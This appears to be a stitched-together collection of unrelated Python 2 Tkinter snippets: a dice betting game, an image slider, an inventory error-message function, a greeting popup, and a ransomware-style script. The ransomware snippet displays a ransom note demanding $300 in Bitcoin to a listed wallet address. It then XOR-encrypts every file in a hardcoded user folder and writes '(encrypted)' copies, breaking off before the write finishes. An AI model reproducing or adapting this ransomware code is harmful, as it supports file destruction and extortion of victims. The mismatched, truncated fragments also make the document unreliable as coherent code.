def game_ongoing_decider(self): self.random_no = randint(1,6) self.dice.config(text=self.random_no) if self.bet.get().isalpha() == True or self.guess_1.get().isalpha() == True or self.guess_2.get().isalpha() == True: self.bet.delete(0, "end") tkMessageBox.showwarning("Error!!", "In our world these values are in digits!!") elif self.bet.get().isalpha() == False or self.guess_1.get().isalpha() == False or self.guess_2.get().isalpha() == False: if self.bet.get().isdigit() != True or self.guess_1.get().isdigit() != True or self.guess_2.get().isdigit() != True: self.bet.delete(0, "end") tkMessageBox.showwarning("Error!!", "Blanks are not allowed!!") self.lastbet = int(self.bet.get()) if int(self.lastbet) == int(self.bet.get()): if int(self.lastbet) > int(self.money): self.bet.delete(0, "end") tkMessageBox.showwarning("Money Alert", "Hey!! keep an eye on ur wallet!!") elif int(self.lastbet) <= int(self.money) and int(self.lastbet) > 0 : if int(self.guess_1.get()) in range(1,7): if int(self.guess_2.get()) in range(1,7): if int(self.guess_2.get()) == int(self.random_no) or int(self.guess_1.get()) == int(self.random_no): self.money = int(self.money) + (2*int(self.lastbet)) tkMessageBox.showinfo("WINNER WINNER CHICKEN DINNER!!", "CONGO!! YOU WON!!") self.money_label.config(text="Money:" + str(self.money) + "$ Last bet:" + str(self.lastbet)) self.bet.delete(0, "end") self.guess_1.delete(0, "end") self.guess_2.delete(0, "end") else: self.money = int(self.money) - int(self.lastbet) tkMessageBox.showinfo("LOSER LOSER BULL-DOZER!!", "SORRY!! YOU REALLY HAVE A GREAT BAD-LUCK!!") self.money_label.config(text="Money:" + str(self.money) + "$ Last bet:" + str(self.lastbet)) self.bet.delete(0, "end") self.guess_1.delete(0, "end") self.guess_2.delete(0, "end") else: tkMessageBox.showwarning("Guess Alert!!", "dice doesn't have "+ str(self.guess_2.get())+" on it") self.guess_2.delete(0, "end") else: tkMessageBox.showwarning("Guess Alert!!", "dice doesn't have "+ str(self.guess_1.get())+" on it") self.guess_1.delete(0, "end") elif int(self.lastbet) == 0: if int(self.lastbet) == int(self.money): self.bet.delete(0, "end") tkMessageBox.showwarning("Money Alert", "You're broke as AF!!") else: self.bet.delete(0, "end") tkMessageBox.showwarning("Money Alert", "Don't try trick us!!") elif int(self.lastbet) < 0: self.bet.delete(0, "end") tkMessageBox.showwarning("Money Alert", "We don't trade in negatives!!")
import os import string import random import sys import Tkinter import tkMessageBox tkMessageBox.showwarning( "WARNING!", "Your computer has been hacked and encrypted by Mysterion.\nYou need to pay 300$ in Bitcoin in order to decrypt it.\nBitcoin accout: bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq" ) caminho = 'C:\\Users\\oraha\\Desktop\\test' def str_xor(s1, s2): return "".join([chr(ord(c1) ^ ord(c2)) for (c1, c2) in zip(s1, s2)]) key = r""" Xw$ZNPd.RR&Z_lKD;13&L?.kOi{?MZxLaS]BmYofNpbaKJc!<8cNGYCS^?Hc)sx2O?cKA_3Vb_MQIq=L+MZn8^<VGuH\Wg(lYyken%+{3.1QE+&(Wmh5hr7a}J7zP>ghzsqw}>YwuhT+JAG28hfRLg^h$h.KGzfm0Snl(HT7YZ0-9ZSC3ZPB%lv!q9>&a/2dM:PXTdKZ3e=ptQdco=BeMQ.,q<Qc;$qJ{yVM-ONxczNNsK}NT2(X8B$<dzjVE3Wkro\\J:1^=nC0[=z{pkAFk7o)=2jaB&a{[#94rlMpYvRGZ]K_t)(Nb4AfD_.Eb7QwU9\4~60e=Tif[;GG=l=q!BjlJH.LcBD2h3q1E/-gg,=Sec-H_h~,NMB:GlQA$&7HCQrlpA#\1!=vsq:x]^Y\^Z|(cLyT1YXS<ZI;{.:D=3nD_N<mX\ysDNpY}G-zis9dw-zieAyyW~_(K\tDQMn$W}70y]fw[3->bp8>arRnt/5#b&hzy=5a/2>/rX/X4/7F^R8]%H+bE$wsSia4p>JJGv1z|:,7?q=#3ht|v$>8e\/<}QazuDZ-W0/mQZ,Bz}eT9O\[zR:HE<KUxc&taEDOpIA!]u<2X#OyP{vab1J8iXvB~M(5rz_%H9=oqtJfzw[8f2K])5$5Ave.SyMGGP6i!%iG^?0vjwr/#eP([6;{4w5~9_Y0uIE}wnFR\6KmVSel79\=52kWU}\C,>k$~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jwe5jZ}F4k&ZvxE#YwW&Dti#R2f}K9B7:<]/tX..WhGI8\mSYx{[+)CG(p;gj&M9T]]9&41Lp].hyt+il6ekjNQk/|lR3TxpoIW(^(%l>r>lCIP;)K+Ya9[;Q\#v/|r0tFBPe<F4\D(HGt(m(8_CL+7PZ->,CpVuZhb(1m7%]:c,lk)~b!eK)r_aT17F3Nz2<3!RaOyHtDO-Oe-Z!bjoE\^nG}K!rE3O:/RCIX:1!Gf>4hI_XB\B;W?lEDT&99vL{fJwi[y1\[D;&)^_O<D?^#9{4aD:IS$gJo0Kz!K|cPI~,Qor^!e5\Ib1g/L;nCLXF[^fxY,TN0y3x|Vkd]~0{fw;OO\k753sw4^$$Yi,B8S\$KvfkkOBa>.6~hr,;V{2YM;OOnU7=Np[ghjiF=x1xob$t}xitm7.q/:PS{?\O];rb,JwxVQJPW#>9y(xg3cH#T,8^nngzNC=4i_.&]OL/y~JIfp^u_nt\6UViRweeJ{xJ7tB^hjU#t\x$.5EY!EwoJ%|G1pif7VW>0us(gCXQ)cFAKp3Zz%#dvgljFAYgKg\++J8ht+x8+J/,>m{#b)KH\8o4R/UJ?tKC.!\P^v(8jPte98VJr)DWXosxxtYpJ:f7<RV.%nICXf(:%AuO}>&oZHt[OMGdTNn.HMj%AkrQ-JY#hT5YX[E(PO~FJ|T:{np61v)_}6WUS!o$^p.Z138 """ for files in os.listdir(caminho): os.chdir(caminho) with open(files, 'rb') as r: data = r.read() r.close() enc = str_xor(data, key.strip('\n')) new_file = '(encrypted)' + os.path.basename(files) with open(new_file, 'wb') as n:
import Tkinter as tk import tkMessageBox root = tk.Tk() root.withdraw() tkMessageBox.showwarning('hi nina', 'Nina is a good girl!')
def auto(): # задание цикла автопоказа global pause root.after(3000,auto) if not pause: next_image() root=Tk() root.title('Слайдер') try: f=open(filename,'r') except IOError: tkMessageBox.showwarning('Слайдер','Не могу открыть файл '+filename) else: files=f.read() files_ls=files.split('\n') root.after(3000,auto) # кнопки переключения Button(root,text='Next >',font='Arial 20',bg='#ff0000',command=next_image).pack(side='right') Button(root,text='< Prev',font='Arial 20',bg='#ff0000',command=prev_image).pack(side='left') btn_pause=Button(root,text=text_btn_pause, font='Arial 20',bg='#ff0000',command=sw_pause) btn_pause.pack(side='bottom') show_image(0) # начальная картинка root.mainloop()
def Create(errorcode): if errorcode == 1: label = 'Error: Illegal characters entered' elif errorcode == 2: label = 'Error: Item Number must only contain digits' elif errorcode == 3: label = 'Error: Maximum limit of characters for item number is 6' elif errorcode == 4: label = 'Error: Only numbers and decimals may be \n entered for supplier price' elif errorcode == 5: label = 'Error: Only numbers and decimals may be \n entered for store price' elif errorcode == 6: label = 'Error: Entries are missing' elif errorcode == 7: label = 'Error: Illegal Quantity entered' elif errorcode == 8: label = 'Error: Maximum character length for item name is 15' elif errorcode == 9: label = 'Error: Maximum character length for item quantity is 4' elif errorcode == 10: label = 'Error: Maximum character length for supplier price is 8' elif errorcode == 11: label = 'Error: Maximum character length for store price is 8' elif errorcode == 12: label = 'Error: Item name and number do not match the current database' elif errorcode == 13: label = 'Error: The item\'s supplier price does not match the supplier price inputted' elif errorcode == 14: label = 'Error: The item\'s store price does not match the store price inputted' elif errorcode == 15: label = 'Error: The item\'s supplier and store prices do not match with the ones inputted' elif errorcode == 16: label = 'Error: Cannot find the .CSV file' elif errorcode == 17: label = 'Error: Quantity must be greater than 0' elif errorcode == 18: label = 'Error: Quantity added is more than the quantity available in the Inventory' elif errorcode == 19: label = 'Error: Invalid characters in the user payment entry' elif errorcode == 20: label = 'Error: There are too many decimals in the user payment entry' elif errorcode == 21: label = 'Error: Customer\'s payment is less than the total.' elif errorcode == 22: label = 'Error: Invalid user payment was entered (must be up to 2 decimal places only)' elif errorcode == 23: label = 'Error: Cannot delete more items' elif errorcode == 24: label = 'Error: There is no valid item to delete for the current transaction.' elif errorcode == 26: label = 'Error: User payment was not entered' elif errorcode == 27: label = 'Error: The are no items present in the transaction, so it cannot be completed' elif errorcode == 28: label = 'Error: No such item exists in the inventory.' elif errorcode == 29: label = 'Error: There is currently no transaction in progress' elif errorcode == 30: label = 'Error: An item with this ID # already exists in the inventory' elif errorcode == 31: label = 'Error: The inventory is empty, so there is nothing to print' elif errorcode == 32: label = 'Error: The quantity must be greater than 0' elif errorcode == 33: label = 'Error: The format of the selected .CSV file is incorrect' elif errorcode == 34: label = 'Error: Improper values and/or variables exist in the .CSV file' elif errorcode == 35: label = 'Error: An item with this ID # already exists in the inventory, under a different item name' elif errorcode == 36: label = 'Error: The inputted item name already exists in the inventory' elif errorcode == 37: label = 'Error: Cannot put 0 in front of a digit i.e.) 0001 is invalid' elif errorcode == 38: label = 'Error: The selected item is not in the inventory.' elif errorcode == 50: label = 'Error: Please select an item' tkMessageBox.showwarning("Error", label) # Show Error in box